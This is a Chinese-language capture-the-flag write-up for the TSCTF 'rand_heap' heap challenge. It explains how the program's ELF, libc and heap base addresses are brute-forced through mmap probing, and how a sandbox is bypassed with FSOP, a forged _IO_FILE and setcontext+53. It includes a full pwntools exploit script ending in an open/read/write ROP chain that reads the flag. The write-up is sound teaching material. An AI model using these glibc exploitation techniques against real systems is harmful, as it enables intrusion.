TSCTF_rand_heap

程序分析

程序主要有三个函数:

  1. S函数可以用malloc申请小于0x1000的空间

  2. L函数可以用mmap来申请大于0x1000的空间,如果申请成功返回版本号,如果申请失败则返回一个失败信息

  3. E函数可以用来修改申请的chunk里的信息,另外有一个以当前时间为种子的获得的随机数,当输入相同的随机数时可以额写入0x20的数据

此外程序将申请的chunk的地址和长度分别存放在两个数组中(bss段上),这里分别用arr和arr_size来表示。S和L所能够申请的次数都是有限制的。

截屏2020-10-21 下午3.04.21

截屏2020-10-21 下午3.04.39

利用思路

泄漏libc、heap和程序的基址

首先,利用L函数mmap可以爆破出libc、heap和程序的基址。因为程序的高位字节是固定的,可以每半个字节爆破一次,也就是没爆破一次最多消耗16次L,因此爆破出heap,libc和程序的基址中的一个是完全够用的。这里我们选择先爆破程序的基址,因为知道了程序的基址以后就能够劫持arr,从而可以利用E函数清空arr使得我们可以进行任意次的爆破去求出其他两个基址。

具体的爆破过程我们以程序的基址为例子来进行说明。

截屏2020-10-21 下午3.14.51

可以看到程序基址的高位一定是5,因此我们从addr=0x500000000000开始。我们从第11位(从低位向高位数)开始进行爆破。为了确定第十一位的,每次申请0x10000000000的空间,如果申请成功就将addr上的这一位加一,直到申请失败就说明这次申请包含了程序段的的空间,此时就确定了这一位的大小;第十位就按照0x1000000000申请空间来确定这一位的大小;如此往复直到确定了第四位(基址的后三位是0)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
addr = 0x500000000000
b = 0x10000000000
while b >= 0x1000:
# print('b',hex(b))
i = 0
while i < 16:
tmp = addr+i*b
L(str(b), tmp)
ss = p.recvuntil('\n').decode()
if ss == "Map failed.\n":
break
i += 1
addr += i*b
b = int(b/0x10)
print('elf', hex(addr))
pause()

按照这种方法能够分别确定libc、heap和程序的基址。

获得shell

在用IDA反编译程序的时候发现这个程序进行了沙箱保护。

截屏2020-10-21 下午3.29.44

程序禁止将架构从64位改到32位,同时禁用了execve的系统调用。这就意味着one_gadget和system函数,那就考虑用orw来获取flag。因为栈地址的便宜不固定,从而无法通过爆破出栈地址来进行程序控制流的劫持。考虑通过FSOP利用setcontext+53来进行程序流的劫持。

首先我们来看一下setcontxt+53的程序

截屏2020-10-21 下午3.41.41

可以发现这里可一通过rdi设置rsp的地址从而可以控制程序流。

现在考虑怎么样进入这个函数,并且能够控制rdi。考虑FSOP,改写_IO_list_all来指向一个伪造的_IO_FILE。由于在libc2.24以后加入了对vtable的检查,当vtable不是系统制定的vtable空间时就会直接返回错误。可以考虑利用_IO_str_finish 函数来转到setcontext+53并且设置rdi的值,FSOP具体的操作可以参考这个网址

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

通过构造伪造的_IO_FILE来,使其满足fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)从而调用(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。源码查看一下_IO_strfile的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

因为vtable的偏移时0xd8,可以看出_free_buffer的地址就是0xe8。查看_IO_FILE的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可以看到 _IO_buf_base的偏移时0x38。另外需要用到的 _flags、_IO_write_base和_IO_write_ptr的偏移也同样可以看出来。通过布置合适的数据便能够控制_s._free_buffer和它的第一个参数,并且执行它。于是我们将函数地址_s._free_buffer设置为setcontext+53,第一个参数也就是rdi设置成我们可以控制的地址,从而就能够控制栈,实现orw。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
from ctypes import*
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./rand_heap')
lelf = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')


def get_passwd():
seed = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").time(0)
seed = seed >> 3
cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").srand(seed)
return str(cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").rand())


def S(size):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(size)


def L(size, addr):
p.recvuntil("> ")
p.sendline('2')
p.recvuntil("Size: ")
p.sendline(size)
p.recvuntil("Map addr: ")
p.sendline('0x{:06X}'.format(addr))


def E(idx, con):
pwd = get_passwd()
p.recvuntil("> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(idx)
p.recvuntil("Input your password: ")
p.sendline(pwd)
p.recvuntil("Input the content.\n")
p.send(con)


# cmd = 'b _IO_flush_all_lockp\n'
cmd = 'dir ../glibc-2.27/libio\n'
cmd += 'dir ../glibc-2.27/io\n'
gdb.attach(p, cmd)

addr = 0x500000000000
b = 0x10000000000
while b >= 0x1000:
# print('b',hex(b))
i = 0
while i < 16:
tmp = addr+i*b
L(str(b), tmp)
ss = p.recvuntil('\n').decode()
if ss == "Map failed.\n":
break
i += 1
addr += i*b
b = int(b/0x10)
print('elf', hex(addr))
# pause()
arr = addr+0x2020A0
print('arr', hex(arr))
S(str(0x60))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
idx = int(idx.decode())
payload = 0x60*b'a'+p64(0x0)+p64(0x81)+p64(arr)
E(str(idx), payload)

S(str(0x70))
S(str(0x70))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
arr_idx = int(idx.decode())

l = 18
if arr_idx < l:
l = arr_idx

libc = 0x7f0000000000
b = 0x1000000000
while b >= 0x1000:
E(str(arr_idx), p64(0)*l)
i = 0
while i < 16:
tmp = libc+i*b
L(str(b), tmp)
ss = p.recvuntil('\n').decode()
if ss == "Map failed.\n":
break
i += 1
libc += i*b
b = int(b/0x10)
print('libc', hex(libc))
# pause()

heap = addr-addr % 0x1000000+0x1000000
b = 0x1000000
# print(hex(heap))
# pause()
while b >= 0x1000:
E(str(arr_idx), p64(0)*l)
i = 0
while i < 16:
tmp = heap+i*b
L(str(b), tmp)
ss = p.recvuntil('\n').decode()
if ss == "Map failed.\n":
break
i += 1
heap += i*b
b = int(b/0x10)

print('elf', hex(addr))
print('libc', hex(libc))
print('heap', hex(heap))
print('_IO_list_all', hex(libc+lelf.sym['_IO_list_all']))

E(str(arr_idx), p64(0)*l)
# pause()
S(str(0x10))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
idx = int(idx.decode())
payload = 0x10*b'a'+p64(0)+p64(0x21)+p64(libc + 0x3ec660)
E(str(idx), payload)

for i in range(4):
S(str(0x10))


size_addr = addr+0x2028C0
print('size_addr', hex(size_addr))
S(str(0x10))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
idx = int(idx.decode())
payload = 0x10*b'a'+p64(0)+p64(0x21)+p64(size_addr)
E(str(idx), payload)

# pause()
S(str(0x40))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
fake_idx = int(idx.decode())
S(str(0x40))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
size_idx = int(idx.decode())
print('size_idx', size_idx)

for i in range(3):
S(str(0x60))
idx = p.recvuntil('\n')[len("Malloc done, idx is "):-2]
list_idx = int(idx.decode())
print('list_idx', list_idx)

payload = p64(0x400)*20
E(str(size_idx), payload)
print('size_addr', hex(size_addr))
# 0x1f620
setcontext = libc+lelf.sym['setcontext']+53

fake_addr = heap+0xef0+0x10
payload = p64(fake_addr)
E(str(list_idx), payload)

vtable = libc + 0x3e8360
# sys = libc+lelf.sym['system']
syscall = libc+lelf.sym['system']
o = libc+lelf.sym['open']
r = libc+lelf.sym['read']
w = libc+lelf.sym['write']

rdi = libc+0x2155f
rsi = libc+0x23e8a
rdx = libc+0x1b96

print('vtable', hex(vtable))
payload = b'\x00'*0x20+p64(0)+p64(1)+p64(0)+p64(fake_addr+0x100)+b'\x00'*(0xc0-0x40) + \
(0xd8-0xc0)*b'\x00'+p64(vtable-0x8) + \
p64(0) + p64(setcontext)+b'\x00'*(0x100-0xf0)

payload += 0xa0*b'\x00'+p64(fake_addr+0x200)+p64(rdi) + \
b'./flag\0'+b'\x00'*(0x100-0xb0-len(b'./flag\0'))

buf = fake_addr+0x1b0+len('./flag\0')
payload += p64(fake_addr+0x1b0)+p64(rsi)+p64(0)+p64(o)
payload += p64(rdi)+p64(3)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x20)+p64(r)
payload += p64(rdi)+p64(1)+p64(rsi)+p64(buf)+p64(rdx)+p64(0x20)+p64(w)

E(str(fake_idx), payload)

print(hex(arr))

# send 4 to activate lock_up
p.interactive()